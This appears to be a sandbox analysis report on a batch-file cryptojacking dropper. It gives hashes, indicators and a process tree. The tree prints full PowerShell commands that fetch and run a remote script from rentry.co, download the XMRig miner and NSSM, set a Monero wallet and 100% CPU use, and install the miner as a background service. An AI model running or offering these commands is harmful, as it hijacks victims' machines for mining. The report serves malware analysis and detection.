Analysis
-
max time kernel
1050s -
max time network
1038s -
platform
windows11-21h2_x64 -
resource
win11-20240611-en -
resource tags
arch:x64arch:x86image:win11-20240611-enlocale:en-usos:windows11-21h2-x64system -
submitted
01-07-2024 03:27
Static task
static1
Behavioral task
behavioral1
Sample
2051133521892.bat
Resource
win10-20240611-en
Behavioral task
behavioral2
Sample
2051133521892.bat
Resource
win10v2004-20240226-en
General
-
Target
2051133521892.bat
-
Size
517B
-
MD5
ac9d73455d58bfa42f81e718b8c8d6b5
-
SHA1
60040fff333b7bc09b22e5c013f11b8a99555ed3
-
SHA256
4a084dd6b556a67848483a5763f8d3eebadc0527f804f102f7f944b23b31cb12
-
SHA512
ad24994554a8e6bb68f5ca80b1c53379f7a577964165f56d2f6bef14340fec3d0f17d14faa2db4651776a83bd5686f26ee59080ee2a16d0468b8d38504e460b2
Malware Config
Extracted
https://rentry.co/regele/raw
Extracted
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip
Extracted
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip
Signatures
-
XMRig Miner payload 64 IoCs
Processes:
resource yara_rule C:\Users\Admin\moneroocean\xmrig.exe family_xmrig C:\Users\Admin\moneroocean\xmrig.exe xmrig behavioral3/memory/1448-63-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-189-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-190-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-191-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-192-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-193-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-194-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-195-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-196-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-197-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-198-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-199-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-200-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-201-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-202-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-203-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-204-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-205-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-206-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-207-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-208-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-209-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-210-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-211-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-212-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-213-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-214-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-215-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-216-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-217-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-218-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-219-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-220-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-222-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-223-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-224-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-225-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-226-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-227-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-228-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-229-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-230-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-231-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-232-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-233-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-234-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-235-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-236-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-237-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-238-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-239-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-240-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-241-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-242-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-243-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-244-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-245-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-246-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-247-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-248-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-249-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/4776-250-0x0000000000400000-0x000000000102B000-memory.dmp xmrig -
Blocklisted process makes network request 3 IoCs
Processes:
powershell.exepowershell.exepowershell.exeflow pid process 2 4184 powershell.exe 4 1660 powershell.exe 5 1960 powershell.exe -
Executes dropped EXE 9 IoCs
Processes:
xmrig.exenssm.exenssm.exenssm.exenssm.exenssm.exenssm.exenssm.exexmrig.exepid process 1448 xmrig.exe 676 nssm.exe 2096 nssm.exe 2628 nssm.exe 400 nssm.exe 1476 nssm.exe 3496 nssm.exe 4240 nssm.exe 4776 xmrig.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
Processes:
flow ioc 1 raw.githubusercontent.com 4 raw.githubusercontent.com 5 raw.githubusercontent.com -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exepid process 1408 sc.exe 4392 sc.exe 652 sc.exe 1048 sc.exe -
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 3592 powershell.exe 1660 powershell.exe 2760 powershell.exe 1124 powershell.exe 4240 powershell.exe 2216 powershell.exe 2528 powershell.exe 1960 powershell.exe 2592 powershell.exe 960 powershell.exe 3064 powershell.exe 4184 powershell.exe 5020 powershell.exe -
Delays execution with timeout.exe 64 IoCs
Processes:
timeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exepid process 2056 3836 3504 timeout.exe 3060 timeout.exe 5032 timeout.exe 2028 timeout.exe 1356 timeout.exe 760 timeout.exe 3472 4380 timeout.exe 5088 4712 1620 timeout.exe 1792 timeout.exe 4688 timeout.exe 4856 timeout.exe 3204 3508 timeout.exe 3572 timeout.exe 3740 3524 4396 1636 timeout.exe 1592 696 2484 4696 timeout.exe 3452 timeout.exe 2492 timeout.exe 3884 1236 timeout.exe 5104 timeout.exe 2060 2020 2228 3436 timeout.exe 3028 timeout.exe 3512 timeout.exe 876 2420 4728 924 timeout.exe 2788 timeout.exe 4784 timeout.exe 4032 timeout.exe 1708 timeout.exe 2996 timeout.exe 3588 timeout.exe 1924 timeout.exe 776 timeout.exe 2216 timeout.exe 2904 timeout.exe 2944 2768 timeout.exe 2492 timeout.exe 2884 3164 1348 2352 timeout.exe 3028 timeout.exe 3576 timeout.exe 888 3644 timeout.exe 3988 timeout.exe -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 4652 taskkill.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 26 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 4184 powershell.exe 4184 powershell.exe 1660 powershell.exe 1660 powershell.exe 5020 powershell.exe 5020 powershell.exe 4240 powershell.exe 4240 powershell.exe 2592 powershell.exe 2592 powershell.exe 2216 powershell.exe 2216 powershell.exe 960 powershell.exe 960 powershell.exe 2528 powershell.exe 2528 powershell.exe 2760 powershell.exe 2760 powershell.exe 1124 powershell.exe 1124 powershell.exe 3064 powershell.exe 3064 powershell.exe 1960 powershell.exe 1960 powershell.exe 3592 powershell.exe 3592 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exetaskkill.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exexmrig.exeWMIC.exeWMIC.exedescription pid process Token: SeDebugPrivilege 4184 powershell.exe Token: SeDebugPrivilege 4652 taskkill.exe Token: SeDebugPrivilege 1660 powershell.exe Token: SeDebugPrivilege 5020 powershell.exe Token: SeDebugPrivilege 4240 powershell.exe Token: SeDebugPrivilege 2592 powershell.exe Token: SeDebugPrivilege 2216 powershell.exe Token: SeDebugPrivilege 960 powershell.exe Token: SeDebugPrivilege 2528 powershell.exe Token: SeDebugPrivilege 2760 powershell.exe Token: SeDebugPrivilege 1124 powershell.exe Token: SeDebugPrivilege 3064 powershell.exe Token: SeDebugPrivilege 1960 powershell.exe Token: SeDebugPrivilege 3592 powershell.exe Token: SeLockMemoryPrivilege 4776 xmrig.exe Token: SeIncreaseQuotaPrivilege 1744 WMIC.exe Token: SeSecurityPrivilege 1744 WMIC.exe Token: SeTakeOwnershipPrivilege 1744 WMIC.exe Token: SeLoadDriverPrivilege 1744 WMIC.exe Token: SeSystemProfilePrivilege 1744 WMIC.exe Token: SeSystemtimePrivilege 1744 WMIC.exe Token: SeProfSingleProcessPrivilege 1744 WMIC.exe Token: SeIncBasePriorityPrivilege 1744 WMIC.exe Token: SeCreatePagefilePrivilege 1744 WMIC.exe Token: SeBackupPrivilege 1744 WMIC.exe Token: SeRestorePrivilege 1744 WMIC.exe Token: SeShutdownPrivilege 1744 WMIC.exe Token: SeDebugPrivilege 1744 WMIC.exe Token: SeSystemEnvironmentPrivilege 1744 WMIC.exe Token: SeRemoteShutdownPrivilege 1744 WMIC.exe Token: SeUndockPrivilege 1744 WMIC.exe Token: SeManageVolumePrivilege 1744 WMIC.exe Token: 33 1744 WMIC.exe Token: 34 1744 WMIC.exe Token: 35 1744 WMIC.exe Token: 36 1744 WMIC.exe Token: SeIncreaseQuotaPrivilege 1744 WMIC.exe Token: SeSecurityPrivilege 1744 WMIC.exe Token: SeTakeOwnershipPrivilege 1744 WMIC.exe Token: SeLoadDriverPrivilege 1744 WMIC.exe Token: SeSystemProfilePrivilege 1744 WMIC.exe Token: SeSystemtimePrivilege 1744 WMIC.exe Token: SeProfSingleProcessPrivilege 1744 WMIC.exe Token: SeIncBasePriorityPrivilege 1744 WMIC.exe Token: SeCreatePagefilePrivilege 1744 WMIC.exe Token: SeBackupPrivilege 1744 WMIC.exe Token: SeRestorePrivilege 1744 WMIC.exe Token: SeShutdownPrivilege 1744 WMIC.exe Token: SeDebugPrivilege 1744 WMIC.exe Token: SeSystemEnvironmentPrivilege 1744 WMIC.exe Token: SeRemoteShutdownPrivilege 1744 WMIC.exe Token: SeUndockPrivilege 1744 WMIC.exe Token: SeManageVolumePrivilege 1744 WMIC.exe Token: 33 1744 WMIC.exe Token: 34 1744 WMIC.exe Token: 35 1744 WMIC.exe Token: 36 1744 WMIC.exe Token: SeIncreaseQuotaPrivilege 2200 WMIC.exe Token: SeSecurityPrivilege 2200 WMIC.exe Token: SeTakeOwnershipPrivilege 2200 WMIC.exe Token: SeLoadDriverPrivilege 2200 WMIC.exe Token: SeSystemProfilePrivilege 2200 WMIC.exe Token: SeSystemtimePrivilege 2200 WMIC.exe Token: SeProfSingleProcessPrivilege 2200 WMIC.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
xmrig.exepid process 4776 xmrig.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exepowershell.execmd.exenet.execmd.exepowershell.exedescription pid process target process PID 584 wrote to memory of 4184 584 cmd.exe powershell.exe PID 584 wrote to memory of 4184 584 cmd.exe powershell.exe PID 4184 wrote to memory of 1140 4184 powershell.exe cmd.exe PID 4184 wrote to memory of 1140 4184 powershell.exe cmd.exe PID 1140 wrote to memory of 3372 1140 cmd.exe net.exe PID 1140 wrote to memory of 3372 1140 cmd.exe net.exe PID 3372 wrote to memory of 1356 3372 net.exe net1.exe PID 3372 wrote to memory of 1356 3372 net.exe net1.exe PID 1140 wrote to memory of 2988 1140 cmd.exe where.exe PID 1140 wrote to memory of 2988 1140 cmd.exe where.exe PID 1140 wrote to memory of 2736 1140 cmd.exe where.exe PID 1140 wrote to memory of 2736 1140 cmd.exe where.exe PID 1140 wrote to memory of 3676 1140 cmd.exe where.exe PID 1140 wrote to memory of 3676 1140 cmd.exe where.exe PID 1140 wrote to memory of 1268 1140 cmd.exe where.exe PID 1140 wrote to memory of 1268 1140 cmd.exe where.exe PID 1140 wrote to memory of 3640 1140 cmd.exe where.exe PID 1140 wrote to memory of 3640 1140 cmd.exe where.exe PID 1140 wrote to memory of 1408 1140 cmd.exe sc.exe PID 1140 wrote to memory of 1408 1140 cmd.exe sc.exe PID 1140 wrote to memory of 4392 1140 cmd.exe sc.exe PID 1140 wrote to memory of 4392 1140 cmd.exe sc.exe PID 1140 wrote to memory of 4652 1140 cmd.exe taskkill.exe PID 1140 wrote to memory of 4652 1140 cmd.exe taskkill.exe PID 1140 wrote to memory of 1660 1140 cmd.exe powershell.exe PID 1140 wrote to memory of 1660 1140 cmd.exe powershell.exe PID 1140 wrote to memory of 5020 1140 cmd.exe powershell.exe PID 1140 wrote to memory of 5020 1140 cmd.exe powershell.exe PID 1140 wrote to memory of 4240 1140 cmd.exe powershell.exe PID 1140 wrote to memory of 4240 1140 cmd.exe powershell.exe PID 1140 wrote to memory of 1448 1140 cmd.exe xmrig.exe PID 1140 wrote to memory of 1448 1140 cmd.exe xmrig.exe PID 1140 wrote to memory of 2720 1140 cmd.exe cmd.exe PID 1140 wrote to memory of 2720 1140 cmd.exe cmd.exe PID 2720 wrote to memory of 2592 2720 cmd.exe powershell.exe PID 2720 wrote to memory of 2592 2720 cmd.exe powershell.exe PID 2592 wrote to memory of 3564 2592 powershell.exe HOSTNAME.EXE PID 2592 wrote to memory of 3564 2592 powershell.exe HOSTNAME.EXE PID 1140 wrote to memory of 2216 1140 cmd.exe powershell.exe PID 1140 wrote to memory of 2216 1140 cmd.exe powershell.exe PID 1140 wrote to memory of 960 1140 cmd.exe powershell.exe PID 1140 wrote to memory of 960 1140 cmd.exe powershell.exe PID 1140 wrote to memory of 2528 1140 cmd.exe powershell.exe PID 1140 wrote to memory of 2528 1140 cmd.exe powershell.exe PID 1140 wrote to memory of 2760 1140 cmd.exe powershell.exe PID 1140 wrote to memory of 2760 1140 cmd.exe powershell.exe PID 1140 wrote to memory of 1124 1140 cmd.exe powershell.exe PID 1140 wrote to memory of 1124 1140 cmd.exe powershell.exe PID 1140 wrote to memory of 3064 1140 cmd.exe powershell.exe PID 1140 wrote to memory of 3064 1140 cmd.exe powershell.exe PID 1140 wrote to memory of 1960 1140 cmd.exe powershell.exe PID 1140 wrote to memory of 1960 1140 cmd.exe powershell.exe PID 1140 wrote to memory of 3592 1140 cmd.exe powershell.exe PID 1140 wrote to memory of 3592 1140 cmd.exe powershell.exe PID 1140 wrote to memory of 652 1140 cmd.exe sc.exe PID 1140 wrote to memory of 652 1140 cmd.exe sc.exe PID 1140 wrote to memory of 1048 1140 cmd.exe sc.exe PID 1140 wrote to memory of 1048 1140 cmd.exe sc.exe PID 1140 wrote to memory of 676 1140 cmd.exe nssm.exe PID 1140 wrote to memory of 676 1140 cmd.exe nssm.exe PID 1140 wrote to memory of 2096 1140 cmd.exe nssm.exe PID 1140 wrote to memory of 2096 1140 cmd.exe nssm.exe PID 1140 wrote to memory of 2628 1140 cmd.exe nssm.exe PID 1140 wrote to memory of 2628 1140 cmd.exe nssm.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2051133521892.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://rentry.co/regele/raw', $tempfile); & $tempfile 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL; Remove-Item -Force $tempfile"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp72A0.tmp.bat" 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet session4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session5⤵
-
C:\Windows\system32\where.exewhere powershell4⤵
-
C:\Windows\system32\where.exewhere find4⤵
-
C:\Windows\system32\where.exewhere findstr4⤵
-
C:\Windows\system32\where.exewhere tasklist4⤵
-
C:\Windows\system32\where.exewhere sc4⤵
-
C:\Windows\system32\sc.exesc stop moneroocean_miner4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc delete moneroocean_miner4⤵
- Launches sc.exe
-
C:\Windows\system32\taskkill.exetaskkill /f /t /im xmrig.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip', 'C:\Users\Admin\xmrig.zip')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\xmrig.zip', 'C:\Users\Admin\moneroocean')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"donate-level\": *\d*,', '\"donate-level\": 1,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\moneroocean\xmrig.exe"C:\Users\Admin\moneroocean\xmrig.exe" --help4⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\HOSTNAME.EXE"C:\Windows\system32\HOSTNAME.EXE"6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"url\": *\".*\",', '\"url\": \"gulf.moneroocean.stream:10001\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"user\": *\".*\",', '\"user\": \"42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"pass\": *\".*\",', '\"pass\": \"Ucshggdd\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"max-cpu-usage\": *\d*,', '\"max-cpu-usage\": 100,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"log-file\": *null,', '\"log-file\": \"C:\\Users\\Admin\\moneroocean\\xmrig.log\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config_background.json' | %{$_ -replace '\"background\": *false,', '\"background\": true,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config_background.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip', 'C:\Users\Admin\nssm.zip')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\nssm.zip', 'C:\Users\Admin\moneroocean')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\sc.exesc stop moneroocean_miner4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc delete moneroocean_miner4⤵
- Launches sc.exe
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" install moneroocean_miner "C:\Users\Admin\moneroocean\xmrig.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppDirectory "C:\Users\Admin\moneroocean"4⤵
- Executes dropped EXE
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppPriority BELOW_NORMAL_PRIORITY_CLASS4⤵
- Executes dropped EXE
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStdout "C:\Users\Admin\moneroocean\stdout"4⤵
- Executes dropped EXE
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStderr "C:\Users\Admin\moneroocean\stderr"4⤵
- Executes dropped EXE
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" start moneroocean_miner4⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
